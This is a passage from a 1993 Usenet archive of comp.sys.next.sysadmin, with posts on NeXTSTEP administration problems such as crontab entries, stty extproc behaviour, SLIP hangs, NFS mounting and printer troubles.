connection. Is there anyone out there using a T3000 for dialin that can
send me a register dump? Or tell me what I might be doing wrong?
Stephen Bartholomew
sbart@atlantis.tamu.edu
Texas A&M Univeristy Department of Aerospace Engineering
Newsgroups: comp.sys.next.sysadmin
From: dan@ennex1.eng.utsa.edu (Daniel Shelton)
Subject: Re: Nextdimension memory
Message-ID: <1993Jun24.165943.21148@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
References: <1993Jun16.100632.7116@resonex.com>
Date: Thu, 24 Jun 1993 16:59:43 GMT
In article <1993Jun16.100632.7116@resonex.com> zenon@resonex.com (Zenon
Fortuna) writes:
> In article <1993Jun16.154435.23566@serval.net.wsu.edu> hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) writes:
> >Is there a limit to how much memory can be put into a NeXTDimension board?
> >We put 32megs in one of ours and we got system panics. With 20 meg it works
> >fine.
> >
> >All 32 meg was tested and found to be good memory.
> >
> >--
> >Karl Hakimian
> >hakimian@eecs.wsu.edu
>
> .... and related quest
ion: is it a way to tell how much of memory a particular
> NeXTDimention board has ? (without opening the cube)
>
> -Z.
If you boot up a NeXT with 3.0 in verbose mode, a message will be printed
on the screen indicating how much DRAM there is on the ND but you have to
look for it because it is located in the last 2 or 3 lines of the boot
sequence.
Good Luck with your memory problem
Danimian@eecs.wsu.edu
>
> .... and related quest
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From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: How to get Icon for .gz or .tar.gz files (for Opener)?
Message-ID: <1993Jun24.180858.13943@leland.Stanford.EDU>
Summary: Use the Inspector to set things properly.
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Stanford University
References: <thompsonC9251I.L15@netcom.com>
Date: Thu, 24 Jun 93 18:08:58 GMT
In comp.sys.next.sysadmin thompson@netcom.com (Eric Thompson) writes:
>I want to be able to double-click .gz and .tar.gz files and have
>them to go Opener. Right now they have an Edit icon and go to Edit.
>I have edited the Opener table to include .tar.gz and .gz, and I can
>drag files to Opener to have it open them correctly, but I would
>like them th have an icon and be able to double-click them.
Two things. Log out and log back in, to make sure that the Workspace
has recongnized the changes to Opener. Then, if it still doesn't work,
go into the Inspector for a .gz file; set the default application to
be Opener.
Hope this helps!
Rollie
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From: anstine@uniblab.sas.upenn.edu (David Anstine)
Newsgroups: comp.sys.next.sysadmin
Subject: COPS
Message-ID: <133176@netnews.upenn.edu>
Date: 24 Jun 93 17:52:31 GMT
Sender: news@netnews.upenn.edu
Does anyone have a hacked version of COPS that is netinfo-aware?
-dave
From: statman@stat.ufl.edu (charles d. kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: cleaning the printer... FAQ?
Date: 24 Jun 1993 20:12:05 GMT
Organization: University of Florida
Message-ID: <20d1qlINNga1@no-names.nerdc.ufl.edu>
Hello,
My NeXTprinter has been producing streaks on anything I print from
it. The streaks are primarily horizontal across the page with some
bleeding vertically. It's almost as if a roller inside has too much
toner.
I looked inside the printer and on the toner cartidge is a green
roller with what seems to be excess toner on it. Is this my problem? How
can I clean this off? I think that this is an indication of another
problem, but I'm not sure. I thought that I kept all relevant information
about this sort of thing, but I can't find anything. (It's been two
years!)
I would guess that this is a general laser printer question rather
than a NeXT specific question, but since it's a NeXT printer I came here
first. Does anyone have any experience with this?
Also as I was investigating inside the printer, I found a long
skinny brush like thing (how's that for technical talk :-) in the back
near the hinge. It has a green velvet (?) handle sort of thing on top.
It seems to clean something, but I can't tell what?
I looked in the FAQ and in NeXTAnswers, but nothing seems to
discuss cleaning the printer. I guess it's assume that it's obvious.
I greatly appreciate any and all advice.
Your humble petitioner,
charles d. kincaid
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From: rprice@cbnewsg.cb.att.com (rodney.price)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: libg++ for the NS 3.0 compiler?
Keywords: libg++ ns3.0 compiler
Message-ID: <C94u9y.Ftq@cbfsb.cb.att.com>
Date: 24 Jun 93 15:41:58 GMT
Sender: news@cbfsb.cb.att.com
Followup-To: poster
Organization: AT&T
I've been trying to install libg++-1.39.0 on my NS 3.0
system, so far unsuccessfully. The problem seems to be that
3.0 has the standard system include files scattered all
over creation, whereas the makefile thinks they're in
the standard locations (/usr/include and so on). Has
anyone got a compiled libg++ that works with the NS 3.0
cc compiler? If you do, would you either NeXTmail it to
me, tell me where I can ftp it, or tell me how to fix the
makefile so that it will compile?
Why don't I use the latest version of gcc? I've tried:
gcc 2.4.5 compiles just fine, then libg++ 2.3.1 compiles
and runs its tests successfully, except for one (ignored)
segmentation fault. The NeXT-supplied debugger doesn't
work with it, however, and it has a nasty bug that showed
up in the first bit of code I tried to compile. This code
worked fine under the NS 2.1 compiler and libg++ 1.39.0.
I also tried compiling gcc 2.3.3, which is supposed to work
with the NeXT debugger. The same problem shows up. I give
up. I don't have any more time to burn trying to get the
latest bells and whistles -- I just want something that
works.
Sorry for the complaining, but I'm pretty exasperated. Thanks
for your help.
Rod Price
rprice@physics.att.com
908-582-3719
Newsgroups: comp.sys.next.sysadmin
From: john@wpa.com (John Bartley)
Subject: crontab problems with 3.1 (black)
Message-ID: <1993Jun24.144948.3382@nimno.wpa.com>
Sender: john@nimno.wpa.com
Organization: Workgroup Productivity Associates
Date: Thu, 24 Jun 1993 14:49:48 GMT
I'm posting this for a friend. Please reply to the address shown at the
end of the post. Thanks.
=======================================================================
Since upgrading to 3.1 (black) I've been receiving the following messages
in the Console:
Jun 24 07:15:01 bullwinkle su: SU to news by root on (null pointer)
Jun 24 07:35:01 bullwinkle su: SU to news by root on (null pointer)
Jun 24 08:15:00 bullwinkle su: SU to news by root on (null pointer)
Jun 24 08:35:00 bullwinkle su: SU to news by root on (null pointer)
The relevant entries in crontab.local are:
15 * * * * root su news -c '/usr/lib/newsbin/input/newsrun'
35 * * * * root su news -c '/usr/lib/newsbin/batch/sendbatches'
59 0 * * * root su news -c '/usr/lib/newsbin/expire/doexpire'
Can anyone explain the problem?
Thanks,
Steve Dieringer
steved@bankone.com
Newsgroups: comp.sys.next.sysadmin
From: herring@dannug.dk (Erick Herring)
Subject: stty -extproc (was: rlogind is broken, anyone have a fixed version?)
In-Reply-To: tlm@iastate.edu's message of Mon, 21 Jun 1993 16:52:21 GMT
Message-ID: <HERRING.93Jun24225909@brutus.dannug.dk>
Sender: herring@dannug.dk (Erick Herring)
Organization: Danish NeXT Users Group
References: <C8yCJE.1KH@usenet.ucs.indiana.edu> <1993Jun21.084646.3493@urz.unibas.ch>
<tlm.740681541@scl1.al.iastate.edu>
Date: Thu, 24 Jun 1993 21:59:09 GMT
Tom is: Tom Marchioro <tlm@iastate.edu>
Somebody (I think Robert Frank) says:
>>
>> I always got around this by having the following in my .login:
>>
>> stty -extproc
Tom> After I added this to my .login (sent to me by someone over the
Tom> net, who admitted he himself had no idea what it did) I made a
Tom> fairly serious search to find out about this flag. Wrote to
Tom> several Unix gurus I knew, checked various man pages and
Tom> administration manuals. The upshot was that I *never* found out
Tom> what it does. Just one of those weird pieces of Unix lore. . . .
The following was gleaned from BSD net-2 code. I can't see that it is
"documented" anywhere, either. Maybe this will at least salve your
curiosity :-)
stty.h:
-------
struct info {
int fd; /* file descriptor */
int ldisc; /* line discipline */
int off; /* turn off */
int set; /* need set */
int wset; /* need window set */
char *arg; /* argument */
struct termios t; /* terminal info */
struct winsize win; /* window info */
};
ioctl.h:
--------
#define _IOW(x,y,t) (IOC_IN|((sizeof(t)&IOCPARM_MASK)<<16)|(x<<8)|y)
#define IOC_IN 0x80000000 /* copy in parameters */
#define IOCPARM_MASK 0x7f /* parameters must be < 128 bytes */
#define TIOCEXT _IOW('t', 97, int) /* pty: external processing */
stty/key.c:
-----------
void
f_extproc(ip)
struct info *ip;
{
int tmp;
if (ip->set) {
tmp = 1;
(void)ioctl(ip->fd, TIOCEXT, &tmp);
} else {
tmp = 0;
(void)ioctl(ip->fd, TIOCEXT, &tmp);
}
}
Erick
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From: lloyd@world.std.com (Chris Lloyd)
Subject: Re: stty -extproc (was: rlogind is broken, anyone have a fixed version?)
Message-ID: <C95FK1.AL3@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
References: <1993Jun21.084646.3493@urz.unibas.ch> <tlm.740681541@scl1.al.iastate.edu> <HERRING.93Jun24225909@brutus.dannug.dk>
Date: Thu, 24 Jun 1993 23:21:36 GMT
In article <HERRING.93Jun24225909@brutus.dannug.dk> herring@dannug.dk (Erick Herring) writes:
>Tom is: Tom Marchioro <tlm@iastate.edu>
>>> I always got around this by having the following in my .login:
>>>
>>> stty -extproc
>
>Tom> After I added this to my .login (sent to me by someone over the
>Tom> net, who admitted he himself had no idea what it did) I made a
>Tom> fairly serious search to find out about this flag. Wrote to
>Tom> several Unix gurus I knew, checked various man pages and
>Tom> administration manuals. The upshot was that I *never* found out
>Tom> what it does. Just one of those weird pieces of Unix lore. . . .
>
>The following was gleaned from BSD net-2 code. I can't see that it is
>"documented" anywhere, either. Maybe this will at least salve your
>curiosity :-)
>[...]
Someone once gave me an AIX man page on pty which vaguely explained it, but
I seemed to have misplaced it....
My understanding is that extproc is used by things like rlogin telnet,
in which you have:
shell <-pty-> telnetd <-net->
The pty will normally treat all data coming from telnetd as an unprocessed
stream of characters, which it digests, doing things like cooked mode
editing (if your in cooked mode) with the control characters you type
into the stream.
When you turn on extproc, the pty doesn't do as much processing (dont
ask me what), which can then be done on the local end of the incoming
telnet client, avoiding some single character traffic.
However, none of it seems to work and seems nullified by things like
line mode in telnet.
shrug,
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From: brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske)
Subject: Re: crontab problems with 3.1 (black)
Sender: usenet@ns1.nodak.edu (Usenet login)
Message-ID: <C95FxB.o8x@ns1.nodak.edu>
Date: Thu, 24 Jun 1993 23:29:34 GMT
References: <1993Jun24.144948.3382@nimno.wpa.com>
Organization: University of Southern North Dakota, Hoople
In article <1993Jun24.144948.3382@nimno.wpa.com> steved@bankone.com writes:
>The relevant entries in crontab.local are:
>
>15 * * * * root su news -c '/usr/lib/newsbin/input/newsrun'
>35 * * * * root su news -c '/usr/lib/newsbin/batch/sendbatches'
>59 0 * * * root su news -c '/usr/lib/newsbin/expire/doexpire'
The crontab should look like:
15 * * * * news /usr/lib/newsbin/input/newsrun
35 * * * * news /usr/lib/newsbin/batch/sendbatches
59 0 * * * news /usr/lib/newsbin/expire/doexpire
There is no need to do the silly su(1) thing for cron since it will run the
command as the userid specified in the sixth column.
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From: wrob@unixg.ubc.ca (Robert Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: Help w/NS 3.1 black install
Date: 25 Jun 1993 00:39:12 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
Message-ID: <20dhfgINN9di@skeena.ucs.ubc.ca>
Hi,
I just got NS 3.1 for Motorola (User Edition). Could some kind soul please
send me the contents of the CD-ROM installation disk? Thanks.
I don't have a floppy drive, so my current solution is to drive to
my friend's place and have him kermit the files to me. (ug!)
Oh, yeah: I'd loveto get it in uuencoded format instead of NeXTmail,
as this address is actually on a sun machine.
RWW.
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Newsgroups: comp.sys.next.sysadmin
From: thor@sushi.uib.no
Subject: Re: Things that get stuck when SLIP is active
Message-ID: <1993Jun25.005636.8386@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
References: <20caru$7eg@valinor.cubetech.com>
Date: Fri, 25 Jun 93 00:56:36 GMT
In article <20caru$7eg@valinor.cubetech.com> andrew@cubetech.com (Andrew
Loewenstern) writes:
> In article <20b4bnINNqp7@emory.mathcs.emory.edu> wmorse@erasure_sl.cc.emory.edu (William Morse) writes:
> >So, now... for the million dollar question: What can we do to help the
> >problem? Call NeXT to ask for a fix? :) Is there an adjustment we can
> >make? etc.
> >
> >Actually, I have found one thing that *helps* ---> turn off cslip. It
> >helped here for me at Emory... Why it did, I do not know.
>
> This also affects PPP users, so I don't think it is related to cslip.
>
PPP version for NeXT impliments Van Jacobsen
header compression. But it's
not a feature you can turn off, it's `built in'.
> I would love to know how to fix this exceedingly irritating problem!
>
>
> andrew
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> Andrew Loewenstern | lest we lose our now for a phantom of our
> Cube Technologies, Inc. | own design." - Erendis FYEO Public Key:
> 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Regards,
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From: zeke@znext.cts.com (james dehnert)
Subject: How to disable reset and power in login panel
Message-ID: <1993Jun25.043631.2488@znext.cts.com>
Keywords: reset login
Sender: zeke@znext.cts.com (james dehnert)
Organization: pnet
Date: Fri, 25 Jun 1993 04:36:31 GMT
I haven't seen this posted yet, so...
Is there a way do disable the power and reset buttons on the main login
pannel. I would rather not give that option to anyone sitting at the console.
Zeke
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Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <20dhfgINN9di@skeena.ucs.ubc.ca>
Control: cancel <20dhfgINN9di@skeena.ucs.ubc.ca>
Date: 25 Jun 1993 08:15:23 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
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References: <20dhfgINN9di@skeena.ucs.ubc.ca>
Originator: wrob@unixg.ubc.ca
<20dhfgINN9di@skeena.ucs.ubc.ca> was cancelled from within rn.
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wrob@unixg.ubc.ca (ASCII only)
Crasher of Automated Banking Machines
Newsgroups: comp.sys.next.sysadmin
From: boconnor@andi.org (Bob O'Connor)
Subject: NFS Mounting Problem
Message-ID: <C957zJ.60D@nextsrv1.andi.org>
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
Date: Thu, 24 Jun 1993 20:38:07 GMT
I have a small NeXT network with one NFS server. A few weeks ago I did two
things: 1) upgraded all machines to NS 3.0 2) moved the users' directories
onto an external drive.
Problem: One user is continually causing the machine to lock up. Sometimes
this happens when 1) clicking on an autolaunching app before all apps are
finished launching 2) working in various apps. Also, there is one mail
message consisting of garbage characters that won't stay deleted. I delete
it, but it comes back the next time I log in. When I use UserManager to
delete this user's home directory (/Users/username), it doesn't delete.
In the File Viewer, when selecting the mount point "/Users/username",
nothing shows up. But when selecting the original location
"/External_400/Users/username", everything shows up fine.
Configuration info:
My /etc/fstab file looks like this:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /External_400 4.3 rw,noquota 1 2
I used NFSManager to set up:
In the "/Server - Exported Directories" window: /External_400 with
everybody having read/write permissions.
In the "/ - Imported Directories" window:
NFS Server Remote Directory Local Directory
Server /External/Users /Users
Permissions on /External and /External/Users are 777.
This appears to be a mounting problem with read/write permissions. Does
this make sense? Is this a 3.0 bug? or did I just do something wrong?
Many thanks in advance.
Bob O'Connor
boconnor@andi.org
Newsgroups: comp.sys.next.sysadmin
From: schurch@weasel (Sean Church)
Subject: Mail alias pictures
Message-ID: <1993Jun24.202934.1080@pages.com>
Keywords: mail alias pictures tiffs
Sender: schurch@pages.com
Organization: Pages Software Inc.
Date: Thu, 24 Jun 1993 20:29:34 GMT
O.K., it's a last gasper...
Does anyone know what has to be done to get the mail app to recognize and
display the tiffs of folks who are NOT part of our network ?
An example :
drop the tiff in /LocalLibrary/Images/People...
(joebob@saltmine.com)
mailDBupdate has no clue what to do with this. Joe Bob (JB to his friends)
never has a face in my pretty mail app.... and adding joebob@saltmine.com as a
user account is out not a good answer.
I think there is something to do with hand editing the file
~/.NeXT/.mailalias for the mail app running in the account to see it...
Any help would be greatly appreciated!
Send me e-mail, since I am taking Friday and Monday off, so I will not be
reading News (I respond to e-mail... News is a giant pile I rarely go through).
Thanks!
Sean church
schurch@pages.com
<NeXTMail YES!>
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt)
Newsgroups: comp.sys.next.sysadmin
Subject: playscore in 3.1
Message-ID: <15166@blue.cis.pitt.edu>
Date: 25 Jun 93 15:45:59 GMT
Sender: news+@pitt.edu
the command line 'playscore' does no work for me in 3.1.
I get a message:
Can't open DSP
If I click a sound file and activate the ScorePlayer application, it
does play the sound. Any clues what's wrong with the command line?
Thanks, Yadin.
yygold@yadin.phyast.pitt.edu
From: jnicolas@image.mit.edu (Julien Nicolas)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer
Subject: tcpdump under NS3.0???
Message-ID: <JNICOLAS.93Jun25121947@image.mit.edu>
Date: 25 Jun 93 17:19:47 GMT
Sender: news@news.media.mit.edu (USENET News System)
Organization: Massachusetts Institute of Technology, Cambridge, USA
Looking for a version of tcpdump that compiles under NS 3.0 (040). Any
pointers appreciated.
Julien Nicolas
From: marcos@kaleida.com (Paul Marcos)
Newsgroups: comp.sys.next.sysadmin
Subject: Automatically download fonts to non-NeXT printer?
Date: 25 Jun 1993 16:31:02 GMT
Organization: Kaleida Labs, Inc.
Distribution: world
Message-ID: <20f986INN45g@golden.kaleida.com>
Being frustrated with the inability to print files directly from a NeXT to
an Apple LaserWriter and get the right fonts included automatically, a
friend of mine and I wrote a Perl hack that will do automatic font
inclusion with print jobs.
Is anybody else interested in having this? If so, I'll clean it up and
put it on an FTP site. E-mail me if you are interested.
Paul
--
...................................................................
Paul Marcos NeXTMail encouraged!
Kaleida Labs, Inc. marcos@kaleida.com
Newsgroups: comp.sys.next.sysadmin
From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Re: crontab problems with 3.1 (black)
Message-ID: <1993Jun25.162337.19359@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
References: <1993Jun24.144948.3382@nimno.wpa.com> <C95FxB.o8x@ns1.nodak.edu>
Date: Fri, 25 Jun 1993 16:23:37 GMT
In <C95FxB.o8x@ns1.nodak.edu> brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske) writes:
>There is no need to do the silly su(1) thing for cron since it will run the
>command as the userid specified in the sixth column.
Also, there's no reason to keep using the BSD crontab system when
one that's better than the SYSV version is available for free,
written by Paul Vixie. An older one lives somewhere on sonata; its
name includes both 'vixie' and 'cron'. This provides modern
crontabs, separate one for each authorized user, as well as other
enhancements.
--
Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255
Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399
We publish SOLID VALUE for the intelligent investor. NextMail OK
Info. packet free. Send POSTAL address: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.sysadmin
From: kurt@frsvnsvn.cts.com (Kurt Werle)
Subject: Continued probs. w/ Novell + NS 3.0
Message-ID: <1993Jun25.165510.2919@frsvnsvn.cts.com>
Summary: NeXT connection hangs
Organization: little to none
Date: Fri, 25 Jun 1993 16:55:10 GMT
I'm having continual problems with my Next's (slab, 33Mhz, 24Meg mem, 3.0)
connection to out Novell Network (10baseT, 3.15).
For most processes it seems to work fine, but when I try to back up the
server using (gnu) tar on the next the connection starts to 'hang off and
on'.
By that I mean that it stays connected to the network, but for periods of
time varying from 5 minutes to hours the network will appear to not respond
to the NeXT.
The Server says that the NeXT is making requests, but not reading anything
(on the 'monitor').
Has anyone had success with backing up a Novell Server to a NeXT,
and does anyone have suggestions for this particular problem?
Thanks much,
Kurt
From: conrad@socrates.ucsf.edu (Conrad Huang %CGL)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Things that get stuck when SLIP is active
Message-ID: <conrad.741047740@cgl.ucsf.edu>
Date: 25 Jun 93 22:35:40 GMT
References: <1993Jun21.164314.1224@prim> <1993Jun22.210325.1145@alf.uib.no>
Sender: news@cgl.ucsf.edu (USENET News System)
Organization: UCSF Computer Graphics Lab
In article <1993Jun21.164314.1224@prim> dave@prim.demon.co.uk (Dave Griffiths)
writes:
>
> Does anyone know why certain commands (eg "su", or launching a new shell)
> sometimes hang for long periods of time when a SLIP connection is active? Is
> there anyway to prevent this frrom happening?
>
> Thanks,
>
> Dave Griffiths
The problem may be netinfo trying to locate a parent server. We solved the
problem by removing the "serves .." property from "broadcasthost" in the
"machines" directory. You can probably do it with HostManager now.
Conrad
Newsgroups: comp.sys.next.sysadmin
From: jsmith@acb2.claremont.edu (Joel Smith)
Subject: Apple LaserWriter and NeXTstep 3.0
Message-ID: <C97AyB.5xE@news.claremont.edu>
Keywords: NeXT
Sender: news@news.claremont.edu (The News System)
Organization: Harvey Mudd College, Claremont CA 91711
Date: Fri, 25 Jun 1993 23:37:22 GMT
When I connect an Apple LaserWriter NTR to my next (040 - 8mB - 3.0), the
only thing I get to print is the test page provided in Print Manager.
Whenever I try to print from an application, I get a PostScript error:
ERROR: undefined, OFFENDING COMMAND:setpagedevice.
Any ideas about how to solve this problem?
Joel Smith
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: kluge@avalon.physik.unizh.ch (Daniel G. Kluge)
Subject: Re: Secure UUCP and SLIP/PPP Connections
Message-ID: <1993Jun25.234759.27674@ifi.unizh.ch>
Followup-To: comp.sys.next.software,comp.sys.next.sysadmin
Sender: news@ifi.unizh.ch (USENET News Admin)
Organization: University of Zurich, Department of Computer Science
References: <1993Jun18.180600.2241@weston.com>
Date: Fri, 25 Jun 1993 23:47:59 GMT
Wes Spears (jspears@weston.com) wrote:
: I would like to get information from anyone who has a UUCP or SLIP/PPP
: connection, and who was extremely concerned about security. What I would
: ideally like are sources of information that you have found helpful, and
: any pearls of wisdom that you could share.
Ok, for the beginning, it's really simple: just use a v.32bis Modem
inbetween!
Why ?
Well, if you're tapping on the line, you will have to tear the two
signals apart, which are Trellis-Coded, a 128-Point APSK Eye-Pattern. SO
if you wan't one signal, you subtract the other, but only the sender
knows, what he is sending, and subtracts it from the receiving signal,
to get the proper signal from the other side.
So, it should be VERY difficult, to get some proper signals, and then
decode them, have fun !!
for more security, hm hang a VINCI Chip on the line, before it leaves
your house, this should be as secure as transmition can be today (The
VINCI Chip implements the IDEA algorithm, which is also used by PGP,
with a Bandwith of some MBs, don't got the specs right here)
: Thanks
: --
: Wes Spears <-------> jspears@weston.com (NeXTMail Welcome)
: The Weston Group
: 8524 Highway 6 North, 162, Houston, TX 77095
-daniel
--
Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich
E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome)
study-related stuff : dankluge@iiic.ethz.ch
DECnet : EZINFO::CLUESCH
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: partent/ushare
Date: 26 Jun 1993 00:53:43 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <20g6mn$cj9@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I was a satisfied beta tester of partner/ushare and was very glad that I
could contribute a little to this product. Now I upgraded to 3.1 on by black
cube and purchased partner+ for $250+shipping from IPT.
Well, it disables NFS - a bug I thought was fixed in beta (partially due to my
help).
Did anyone have similar experiences? BTW, examine the /ushare/bin/startpa
script to see that they knew of the NFS problem and they tried to fix it,
but it didn't work, at least not on my cube.
Lookin' forwad to hearing from you...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: gbol@nos40nm.shell.com (Gregory B. Lampshire)
Newsgroups: comp.sys.next.sysadmin
Subject: bring NS Intel up with only a character monitor
Message-ID: <GBOL.93Jun25114944@nos40nm.shell.com>
Date: 25 Jun 93 16:49:41 GMT
Sender: usenet@shellgate.shell.com (USENET News System)
Organization: Shell Offshore, Inc
Is the following scenario possible or deficient with NS on PC's:
1) bring NS up on the PC with only a character screen attached or
an unsupported monitor
2) develop/compile a video driver on white hardware using black
for a frontend
3) load it up, then start the gui
I am interested in developing a driver for Cornerstone 150 bw monitors
and I am wondering what the best hardware config and setup is
for such a task.....
gregory
gbol@shell.com
gbol@rglnext.geol.vt.edu
From: wrob@unixg.ubc.ca (Robert Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Is 3.0 to 3.1 an "easy" upgrade?
Date: 26 Jun 1993 05:24:14 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
Message-ID: <20gmhuINNcaa@skeena.ucs.ubc.ca>
References: <382@gouche.UUCP>
In article <382@gouche.UUCP> grant@Manticore.COM writes:
>What's the consensus on upgrading from 3.0 to 3.1 on a slab? Does it generally
>go smoothly? Is there a doc somewhere that tells what the enhancements for
>3.1 are or is it all bug fixes? Thanks,
It was relatively painless for my cube, when I went from 3.0 to 3.1.
On page 34 of the NEXTSTEP IN FOCUS, there is an explanation of what's
new in the 3.1 developer version.
RWW.
--
Robert W. Wong Jr.
wrob@unixg.ubc.ca (ASCII only)
Crasher of Automated Banking Machines
Newsgroups: comp.sys.next.sysadmin
From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: stty -extproc (was: rlogind is broken, anyone have a fixed version?)
Message-ID: <tlm.741074605@scl1.al.iastate.edu>
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
References: <C8yCJE.1KH@usenet.ucs.indiana.edu> <1993Jun21.084646.3493@urz.unibas.ch> <tlm.740681541@scl1.al.iastate.edu> <HERRING.93Jun24225909@brutus.dannug.dk>
Date: Sat, 26 Jun 1993 06:03:25 GMT
In <HERRING.93Jun24225909@brutus.dannug.dk> herring@dannug.dk (Erick Herring) writes:
>Tom is: Tom Marchioro <tlm@iastate.edu>
>Somebody (I think Robert Frank) says:
>>>
>>> I always got around this by having the following in my .login:
>>>
>>> stty -extproc
>Tom> After I added this to my .login (sent to me by someone over the
>Tom> net, who admitted he himself had no idea what it did) I made a
>Tom> fairly serious search to find out about this flag. Wrote to
>Tom> several Unix gurus I knew, checked various man pages and
>Tom> administration manuals. The upshot was that I *never* found out
>Tom> what it does. Just one of those weird pieces of Unix lore. . . .
>The following was gleaned from BSD net-2 code. I can't see that it is
>"documented" anywhere, either. Maybe this will at least salve your
>curiosity :-)
Oh, of course! Now it's obvious! :) :)
Thanks for the info --- Tom
<<Unbelievable mess of low level code deleted>> :)
From: disc@vector.intercon.com (David Casti)
Newsgroups: gnu.misc.discuss,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: Compiling oleo
Followup-To: gnu.misc.discuss,comp.sys.next.software,comp.sys.next.sysadmin
Date: 26 Jun 1993 16:22:54 GMT
Organization: InterCon Systems Corporation, Herndon, VA, USA
Message-ID: <20ht4u$r76@news.intercon.com>
References: <207rl7$e5r@news.intercon.com>
Hi folks,
A while ago, I wrote:
: I've been unsuccessful at compiling GNU oleo on my NeXT running NS 3.0.
: I'm looking for anyone who has oleo up and running in that environment.
And while no one had any pointers for why it wouldn't compile on my cube,
someone did send me the binary. It is available via anonymous FTP from
vector.intercon.com:/pub/next/oleo.
Enjoy!
David.
Newsgroups: comp.sys.next.sysadmin
From: mgb@moksha.uucp (Michael Branton)
Subject: Re: What does "scintr program error" mean?
Message-ID: <1993Jun25.003152.4589@moksha.uucp>
Sender: mgb@moksha.uucp (Michael Branton)
Organization: Totally Disorganized
References: <20a435INNj3h@jhunix.hcf.jhu.edu>
Date: Fri, 25 Jun 1993 00:31:52 GMT
In article <20a435INNj3h@jhunix.hcf.jhu.edu> robinc@jhunix.hcf.jhu.edu (Robert
Delucca) writes:
> Hello,
>
> I have a Seagate 250mb internal drive which has been
> spinning down and stopping (not the fan, the drive) for
> no apparent reason. I checking the connections. I've
> got a replacement drive on the way from Bell Atlantic.
>
> When I booted, I got "scintr program error" at the very
> beginning of the boot sequence in the ROM monitor. Nothing
> else out of the ordinary. No console messages either.
> What does this mean? Inquiring mind wants to know.
>
> Thanks
>
>
> Robert de Lucca
> email robinc@jhunix.hcf.jhu.edu
>
I, too, have seen this error form time to time and would like to know its
etymology :-), so if you know, please post or reply to mgb@stetson.bitnet
Michael Branton
_____________________________________________________________
mgb@moksha.UUCP
mgb@stetson.BITNET
NeXT mail welcome !
--
-Michael
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: stty -extproc (was: rlogind is broken, anyone have a fixed version?)
Date: 26 Jun 1993 17:07:08 GMT
Organization: University of Maryland, College Park
Message-ID: <20hvns$ii8@ni.umd.edu>
References: <1993Jun21.084646.3493@urz.unibas.ch> <tlm.740681541@scl1.al.iastate.edu> <HERRING.93Jun24225909@brutus.dannug.dk> <C95FK1.AL3@world.std.com>
In article <C95FK1.AL3@world.std.com> lloyd@world.std.com (Chris Lloyd) writes:
>
>My understanding is that extproc is used by things like rlogin telnet,
>in which you have:
>
> shell <-pty-> telnetd <-net->
>
>The pty will normally treat all data coming from telnetd as an unprocessed
>stream of characters, which it digests, doing things like cooked mode
>editing (if your in cooked mode) with the control characters you type
>into the stream.
>
>When you turn on extproc, the pty doesn't do as much processing (dont
>ask me what), which can then be done on the local end of the incoming
>telnet client, avoiding some single character traffic.
The "EXTPROC" thing is there to make linemode telnet work. Think
about it - for linemode telnet to work, the server needs to be aware
of the state of the tty/pty (is it in RAW mode, what the the special
characters, etc.) When EXTPROC is enabled on the pty, the master side
of the pty (/dev/ptyp?, that is, what telnetd has open) is notified
when the slave side (/dev/ttyp?, what the shell and user programs have
open) has its state change.
When the state of the pty changes, the telnetd process can then
negotiate telnet options and cause the client telnet program to do the
local line editing and echoing when in "cooked mode".
The problem that -extproc fixes is a broken telnet client
implementation that doesn't deal well with linemode telnet. If you
disable extproc, then none of this interesting stuff goes on at all.
>However, none of it seems to work and seems nullified by things like
>line mode in telnet.
If I'm not mistaken, extproc is just a tool that telnet uses..
Louis Mamakos
University of Maryland
Newsgroups: comp.sys.next.sysadmin
From: kluge@avalon.physik.unizh.ch (Daniel G. Kluge)
Subject: Re: Nice fast modem is slow, Why?
Message-ID: <1993Jun26.232155.19552@ifi.unizh.ch>
Sender: news@ifi.unizh.ch (USENET News Admin)
Organization: University of Zurich, Department of Computer Science
